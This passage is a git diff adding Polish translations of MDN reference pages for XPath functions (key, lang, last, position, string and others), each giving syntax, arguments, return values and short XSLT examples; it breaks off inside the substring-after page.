specyficzna dla XSLT</em></li> + <li><a href="/pl/docs/XPath/Funkcje/function-available">function-available()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/generate-id">generate-id()</a><em> specyficzna dla XSLT</em></li> + <li><a href="/pl/docs/XPath/Funkcje/id">id()</a><em> częściowo obsługiwana</em></li> + <li><a href="/pl/docs/XPath/Funkcje/key">key()</a><em> specyficzna dla XSLT</em></li> + <li><a href="/pl/docs/XPath/Funkcje/lang">lang()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/last">last()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/local-name">local-name()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/name">name()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/namespace-uri">namespace-uri()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/normalize-space">normalize-space()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/not">not()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/number">number()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/position">position()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/round">round()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/starts-with">starts-with()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/string">string()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/string-length">string-length()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/substring">substring()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/substring-after">substring-after()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/substring-before">substring-before()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/sum">sum()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/system-property">system-property()</a><em> specyficzna dla XSLT</em></li> + <li><a href="/pl/docs/XPath/Funkcje/translate">translate()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/true">true()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/unparsed-entity-url">unparsed-entity-url()</a><em> specyficzna dla XSLT</em><em>(nieobsługiwana)</em></li> +</ul> + +<p> </p> + +<div class="noinclude"> </div> diff --git a/files/pl/web/xpath/funkcje/key/index.html b/files/pl/web/xpath/funkcje/key/index.html new file mode 100644 index 0000000000..41db252168 --- /dev/null +++ b/files/pl/web/xpath/funkcje/key/index.html @@ -0,0 +1,36 @@ +--- +title: key +slug: Web/XPath/Funkcje/key +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/key +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>key</code> zwraca zbiór wierzchołków posiadających podaną wartość danego klucza. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">key( <i>nazwaklucza</i> , <i>wartość</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>nazwaklucza</i></code> +</dt><dd>Łańcuch znaków zawierający nazwę elementu <code><a href="pl/XSLT/key"> xsl:key</a></code> do użycia. +</dd></dl> +<dl><dt><code><i>wartość</i></code> +</dt><dd>Zwrócony zbiór wierzchołków będzie zawierał każdy wierzchołek, który posiada tę wartość dla danego klucza. </dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Zbiór wierzchołków. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Element <code><a href="pl/XSLT/key"> xsl:key</a></code> określa, który atrybut i z jakich elementów zostanie użyty do dopasowania klucza. </li></ul> +<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xslt#function-key" class="external">XSLT 1.0 12.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XPath/Functions/key", "fr": "fr/XPath/Fonctions/key" } ) }} diff --git a/files/pl/web/xpath/funkcje/lang/index.html b/files/pl/web/xpath/funkcje/lang/index.html new file mode 100644 index 0000000000..fc938aa6c3 --- /dev/null +++ b/files/pl/web/xpath/funkcje/lang/index.html @@ -0,0 +1,58 @@ +--- +title: lang +slug: Web/XPath/Funkcje/lang +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/lang +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>lang</code> określa, czy wierzchołek kontekstu jest zgodny z podanym językiem i zwraca wartość logiczną <code>true</code> lub <code>false</code>. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">lang( <i>string</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>string</i></code> +</dt><dd>Kod języka lub lokalizacji (język oraz kraj) do sprawdzenia. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p><code>True</code>, jeśli wierzchołek kontekstu odpowiada danemu językowi. W przeciwnym wypadku <code>false</code>. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Język wierzchołka określany jest na podstawie jego atrybutu <code>xml:lang</code>. Jeśli aktualny wierzchołek go nie posiada, wartość jest określana przez najbliższego przodka posiadającego atrybut <code>xml:lang</code>. W przypadku niemożności określenia języka (żaden przodek nie posiada atrybutu <code>xml:lang</code>), funkcja zwróci wartość fałsz. +</li></ul> +<ul><li> Jeśli dany łańcuch znaków nie określa kodu kraju, funkcja ta porówna wierzchołki tego języka z wszystkimi kodami krajów. Odwrotność nie jest prawdziwa. +</li></ul> +<p>Bazując na poniższym fragmencie kodu XML: +</p> +<pre><p xml:lang="en">I went up a floor.</p> +<p xml:lang="en-GB">I took the lift.</p> +<p xml:lang="en-US">I rode the elevator.</p></pre> +<p>Oraz tej części szablonu XSL: +</p> +<pre class="eval"><xsl:value-of select="count(//p[lang('en')])" /> +<xsl:value-of select="count(//p[lang('en-GB')])" /> +<xsl:value-of select="count(//p[lang('en-US')])" /> +<xsl:value-of select="count(//p[lang('de')])" /> +</pre> +<p>Wynik może być następujący: +</p> +<pre class="eval">3 +1 +1 +0 +</pre> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-lang" class="external">XPath 1.0 4.3</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/lang", "fr": "fr/XPath/Fonctions/lang", "ja": "ja/XPath/Functions/lang" } ) }} diff --git a/files/pl/web/xpath/funkcje/last/index.html b/files/pl/web/xpath/funkcje/last/index.html new file mode 100644 index 0000000000..f3a507ad3f --- /dev/null +++ b/files/pl/web/xpath/funkcje/last/index.html @@ -0,0 +1,33 @@ +--- +title: last +slug: Web/XPath/Funkcje/last +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/last +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>last</code> zwracająca liczbę równą rozmiarowi kontekstu z kontekstu oceny wyrażenia. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">last() +</pre> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Liczbę całkowitą równą rozmiarowi kontekstu z kontekstu oceny wyrażenia. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Jest często używana wraz z funkcją <code><a href="pl/XPath/Funkcje/position"> position()</a></code> do określenia, czy konkretny wierzchołek jest ostatni w zbiorze wierzchołków. +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-last" class="external">XPath 1.0 4.1</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/last", "fr": "fr/XPath/Fonctions/last", "ja": "ja/XPath/Functions/last" } ) }} diff --git a/files/pl/web/xpath/funkcje/local-name/index.html b/files/pl/web/xpath/funkcje/local-name/index.html new file mode 100644 index 0000000000..95996699eb --- /dev/null +++ b/files/pl/web/xpath/funkcje/local-name/index.html @@ -0,0 +1,36 @@ +--- +title: local-name +slug: Web/XPath/Funkcje/local-name +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/local-name +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>local-name</code> zwraca łańcuch znaków reprezentujący lokalną nazwę pierwszego wierzchołka w danym zbiorze wierzchołków. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">local-name( [<i>zbiór_wierzchołków</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny) +</dt><dd>Zostanie zwrócona nazwa lokalna pierwszego wierzchołka w tym zbiorze wierzchołków. Jeśli ten argument jest pominięty, zostanie użyty aktualny wierzchołek kontekstu. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Łańcuch znaków +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Nazwa lokalna jest częścią lokalną <a href="http://www.w3.org/TR/xpath#dt-expanded-name" class="external">expanded-name</a>. +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-local-name" class="external">XPath 1.0 4.1</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/local-name", "fr": "fr/XPath/Fonctions/local-name", "ja": "ja/XPath/Functions/local-name" } ) }} diff --git a/files/pl/web/xpath/funkcje/name/index.html b/files/pl/web/xpath/funkcje/name/index.html new file mode 100644 index 0000000000..d9817c87dd --- /dev/null +++ b/files/pl/web/xpath/funkcje/name/index.html @@ -0,0 +1,35 @@ +--- +title: name +slug: Web/XPath/Funkcje/name +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/name +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>name</code> zwraca łańcuch znaków reprezentujący QName pierwszego wierzchołka w danym zbiorze wierzchołków. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">name( [<i>zbiór_wierzchołków</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny) +</dt><dd>Zostanie zwrócony QName pierwszego wierzchołka w tym zbiorze. Jeśli argument ten zostanie pominięty, użyty zostanie aktualny wierzchołek kontekstu. </dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Łańcuch znaków reprezentujący QName wierzchołka. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> <a href="http://www.w3.org/TR/REC-xml-names/#NT-QName" class="external">QName</a> jest odpowiednią nazwą wierzchołka, włączając prefiks jego przestrzeni nazw i jego lokalną nazwę. +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-local-name" class="external">XPath 1.0 4.1</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/name", "fr": "fr/XPath/Fonctions/name", "ja": "ja/XPath/Functions/name" } ) }} diff --git a/files/pl/web/xpath/funkcje/namespace-uri/index.html b/files/pl/web/xpath/funkcje/namespace-uri/index.html new file mode 100644 index 0000000000..4c5e2e5d16 --- /dev/null +++ b/files/pl/web/xpath/funkcje/namespace-uri/index.html @@ -0,0 +1,37 @@ +--- +title: namespace-uri +slug: Web/XPath/Funkcje/namespace-uri +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/namespace-uri +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>namespace-uri</code> zwraca łańcuch znaków reprezentujący URI przestrzeni nazw dla pierwszego wierzchołka danego zbioru wierzchołków. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">namespace-uri( [<i>zbiór_wierzchołków</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny) +</dt><dd>Zwrócony zostanie URI przestrzeni nazw pierwszego wierzchołka w tym zbiorze wierzchołków. Jeśli argument ten zostanie pominięty, użyty zostanie aktualny wierzchołek kontekstu. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Ciąg reprezentujący URI przestrzeni nazw, w której dany wierzchołek kontekstu się znajduje. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Jeśli podany wierzchołek nie posiada przestrzeni nazw, zwrócony łańcuch znaków będzie zawsze pusty. </li></ul> +<ul><li> Dla wierzchołków innych niż wierzchołki elementu i atrybutu, zwrócony łańcuch znaków będzie zawsze pusty. +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-local-name" class="external">XPath 1.0 4.1</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/namespace-uri", "fr": "fr/XPath/Fonctions/namespace-uri", "ja": "ja/XPath/Functions/namespace-uri" } ) }} diff --git a/files/pl/web/xpath/funkcje/normalize-space/index.html b/files/pl/web/xpath/funkcje/normalize-space/index.html new file mode 100644 index 0000000000..4fb220da39 --- /dev/null +++ b/files/pl/web/xpath/funkcje/normalize-space/index.html @@ -0,0 +1,34 @@ +--- +title: normalize-space +slug: Web/XPath/Funkcje/normalize-space +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/normalize-space +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>normalize-space</code> usuwa poprzedzające i końcowe białe znaki z łańcucha znaków, zastępując je pojedynczą spacją i zwracając łańcuch wynikowy. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">normalize-space( [<i>łańcuch_znaków</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>łańcuch_znaków</i></code> (opcjonalny) +</dt><dd>Łańcuch znaków do znormalizowania. Jeśli zostanie pominięty, użyty zostanie wierzchołek kontekstu skonwertowany do łańcucha znaków. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Znormalizowany łańcuch znaków. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-normalize-space" class="external">XPath 1.0 4.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/normalize-space", "fr": "fr/XPath/Fonctions/normalize-space", "ja": "ja/XPath/Functions/normalize-space" } ) }} diff --git a/files/pl/web/xpath/funkcje/not/index.html b/files/pl/web/xpath/funkcje/not/index.html new file mode 100644 index 0000000000..9de59d5d7a --- /dev/null +++ b/files/pl/web/xpath/funkcje/not/index.html @@ -0,0 +1,37 @@ +--- +title: not +slug: Web/XPath/Funkcje/not +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/not +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>not</code> ocenia wartość wyrażenia logicznego i zwraca wartość przeciwną. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">not( <i>wyrażenie</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>wyrażenie</i></code> +</dt><dd>Wyrażenie jest oceniane dokładnie tak, jak gdyby zostało ono przekazane jako argument funkcji <a href="pl/XPath/Funkcje/boolean">boolean()</a>. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Prawda, jeśli wyrażenie jest fałszywe; fałsz, jeżeli wyrażenie zostało ocenione jako prawdziwe. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Funkcja ta powinna zachowywać się podobnie do funkcji <a href="pl/XPath/Funkcje/boolean">boolean()</a>, oprócz tego, że zwraca ona przeciwną wartość wyrażenia. +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-not" class="external">XPath 1.0 4.3</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/not", "fr": "fr/XPath/Fonctions/not", "ja": "ja/XPath/Functions/not" } ) }} diff --git a/files/pl/web/xpath/funkcje/number/index.html b/files/pl/web/xpath/funkcje/number/index.html new file mode 100644 index 0000000000..22d3f72b02 --- /dev/null +++ b/files/pl/web/xpath/funkcje/number/index.html @@ -0,0 +1,37 @@ +--- +title: number +slug: Web/XPath/Funkcje/number +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/number +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>number</code> konwertuje obiekt do liczby i zwraca liczbę. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">number( [<i>obiekt</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>obiekt</code></i> (opcjonalny) +</dt><dd>Obiekt, który ma zostać przekonwertowany do liczby. Jeśli pominięty, użyty zostanie wierzchołek aktualnego kontekstu. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Liczbę będącą wynikiem konwersji obiektu. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Łańcuchy znaków są konwertowane do liczby poprzez usunięcie poprzedzających białych znaków znajdujących się przed liczbą i zignorowanie białych znaków występujących po niej. Jeśli łańcuch znaków nie odpowiada temu wzorcowi, jest on konwertowany do wartości NaN. </li><li> Logiczna prawda jest konwertowana do 1. Fałsz jest konwertowany do 0. </li><li> Zbiór wierzchołków jest konwertowany najpierw do łańcucha znaków tak, jak przez funkcję <code><a href="pl/XPath/Funkcje/string">string()</a></code>, a następnie konwertowany w ten sam sposób, co argument będący łańcuchem znaków. +</li><li> Typ obiektu inny niż cztery typy podstawowe jest konwertowany do liczby w sposób zależny od tego typu. +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-number" class="external">XPath 1.0 4.4</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/number", "fr": "fr/XPath/Fonctions/number", "ja": "ja/XPath/Functions/number" } ) }} diff --git a/files/pl/web/xpath/funkcje/position/index.html b/files/pl/web/xpath/funkcje/position/index.html new file mode 100644 index 0000000000..665df2309a --- /dev/null +++ b/files/pl/web/xpath/funkcje/position/index.html @@ -0,0 +1,44 @@ +--- +title: position +slug: Web/XPath/Funkcje/position +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/position +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>position</code> zwraca liczbę równą pozycji kontekstu z kontekstu oceny wyrażenia. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">position() +</pre> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Liczbę całkowitą równą pozycji kontekstu z kontekstu oceny wyrażenia. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Należy zauważyć, że pozycja wierzchołka w kontekście nie zaczyna się od zera. Pierwszy wierzchołek ma pozycję 1. +</li><li> Kontekst jest określony przez resztę ścieżki. +</li></ul> +<pre class="eval"><xsl:template match="//a[position() = 5"> + <!-- ten szablon odpowiada piątemu elementowi gdziekolwiek + w dokumencie. --> +</xsl:template> +</pre> +<pre class="eval"><xsl:template match="//div[@class='foo']/bar[position() = 1]"> + <!-- ten szablon odpowiada pierwszemu elementowi bar będącemu + potomkiem elementu div z atrybutem class równym "foo" --> +</xsl:template> +</pre> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-position" class="external">XPath 1.0 4.1</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/position", "fr": "fr/XPath/Fonctions/position", "ja": "ja/XPath/Functions/position" } ) }} diff --git a/files/pl/web/xpath/funkcje/round/index.html b/files/pl/web/xpath/funkcje/round/index.html new file mode 100644 index 0000000000..8f9d827b74 --- /dev/null +++ b/files/pl/web/xpath/funkcje/round/index.html @@ -0,0 +1,36 @@ +--- +title: round +slug: Web/XPath/Funkcje/round +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/round +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>round</code> zwraca liczbę będąca liczbą całkowitą najbliższą podanej. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">round( <i>dziesiętna</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>dziesiętna</code></i> +</dt><dd>Liczba dziesiętna do zaokrąglenia. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Najbliższą liczbę całkowitą mniejszą, większą bądź równą wartości <i><code>dziesiętna</code></i>. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Liczba -0.5 jest zaokrąglana do zera ujemnego. 0.4 jest zaokrąglana do zera dodatniego. +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-round" class="external">XPath 1.0 4.4</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/round", "fr": "fr/XPath/Fonctions/round", "ja": "ja/XPath/Functions/round" } ) }} diff --git a/files/pl/web/xpath/funkcje/starts-with/index.html b/files/pl/web/xpath/funkcje/starts-with/index.html new file mode 100644 index 0000000000..f833baa82f --- /dev/null +++ b/files/pl/web/xpath/funkcje/starts-with/index.html @@ -0,0 +1,36 @@ +--- +title: starts-with +slug: Web/XPath/Funkcje/starts-with +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/starts-with +--- +<p> +{{ XsltRef() }} +</p><p><br> +</p><p>Funkcja <code>starts-with</code> sprawdza, czy pierwszy łańcuch znaków rozpoczyna się drugim łańcuchem i zwraca prawdę lub fałsz. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">starts-with( <i>stóg siana</i> , <i>igła</i>) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>stóg siana</code></i> +</dt><dd>Przeszukiwany łańcuch znaków. +</dd></dl> +<dl><dt><i><code>igła</code></i> +</dt><dd>Szukany łańcuch znaków. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p><code>True</code>, jeśli <i><code>stóg siana</code></i> rozpoczyna się podciągiem <i><code>igła</code></i>. W przeciwnym wypadku <code>false</code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-starts-with" class="external">XPath 1.0 4.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/starts-with", "fr": "fr/XPath/Fonctions/starts-with", "ja": "ja/XPath/Functions/starts-with" } ) }} diff --git a/files/pl/web/xpath/funkcje/string-length/index.html b/files/pl/web/xpath/funkcje/string-length/index.html new file mode 100644 index 0000000000..d0890579ab --- /dev/null +++ b/files/pl/web/xpath/funkcje/string-length/index.html @@ -0,0 +1,32 @@ +--- +title: string-length +slug: Web/XPath/Funkcje/string-length +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/string-length +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>string-length</code> zwraca liczbę równą liczbie znaków w danym łańcuchu znaków. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">string-length( [<i>łańcuch</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>łańcuch</code></i> (opcjonalny) +</dt><dd>Oceniany łańcuch znaków. Jeśli pominięty, użyty zostanie łańcuch znaków taki sam jak wierzchołek kontekstu skonwertowany do łańcucha znaków. </dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Liczbę całkowitą równą liczbie znaków w ciągu. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-string-length" class="external">XPath 1.0 4.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/string-length", "fr": "fr/XPath/Fonctions/string-length", "ja": "ja/XPath/Functions/string-length" } ) }} diff --git a/files/pl/web/xpath/funkcje/string/index.html b/files/pl/web/xpath/funkcje/string/index.html new file mode 100644 index 0000000000..d84708e71f --- /dev/null +++ b/files/pl/web/xpath/funkcje/string/index.html @@ -0,0 +1,43 @@ +--- +title: string +slug: Web/XPath/Funkcje/string +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/string +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>string</code> konwertuje dany argument do łańcucha znaków. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">string( [<i>obiekt</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>obiekt</code></i> (opcjonalny) +</dt><dd>Obiekt, który ma zostać przekonwertowany do łańcucha znaków. Jeśli pominięty, użyty zostanie wierzchołek kontekstu. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Łańcuch znaków +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Jeśli obiekt jest zbiorem wierzchołków, zwracana jest wartość łańcucha znaków pierwszego wierzchołka w zbiorze. </li><li> Liczby są konwertowane następująco: +<ul><li> NaN jest konwertowane do ciągu NaN. +</li><li> Dodatnie zero jest konwertowane do łańcucha 0. +</li><li> Ujemne zero jest konwertowane do łańcucha 0. +</li><li> Dodatnia nieskończoność jest konwertowana do łańcucha <code>Infinity</code>. +</li><li> Ujemna nieskończoność jest konwertowana do łańcucha <code>-Infinity</code>. +</li><li> Liczby dziesiętne między -1 i 1 są konwertowane do łańcucha znaków z pojedynczym zerem poprzedzającym kropkę dziesiętną. </li></ul> +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-string" class="external">XPath 1.0 4.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/string", "fr": "fr/XPath/Fonctions/string", "ja": "ja/XPath/Functions/string" } ) }} diff --git a/files/pl/web/xpath/funkcje/substring-after/index.html b/files/pl/web/xpath/funkcje/substring-after/index.html new file mode 100644 index 0000000000..faf0b7ae6a --- /dev/null +++ b/files/pl/web/xpath/funkcje/substring-after/index.html @@ -0,0 +1,40 @@ +--- +title: substring-after +slug: Web/XPath/Funkcje/substring-after +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/substring-after +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>substring-after</code> zwraca łańcuch znaków będący resztą podanego łańcucha znaków po danym podciągu. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">substring-after( <i>stóg siana</i> , <i>igła</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><i><code>stóg siana</code></i> +</dt><dd>Oceniany łańcuch znaków. Zostanie zwrócona część tego łańcucha. +</dd></dl> 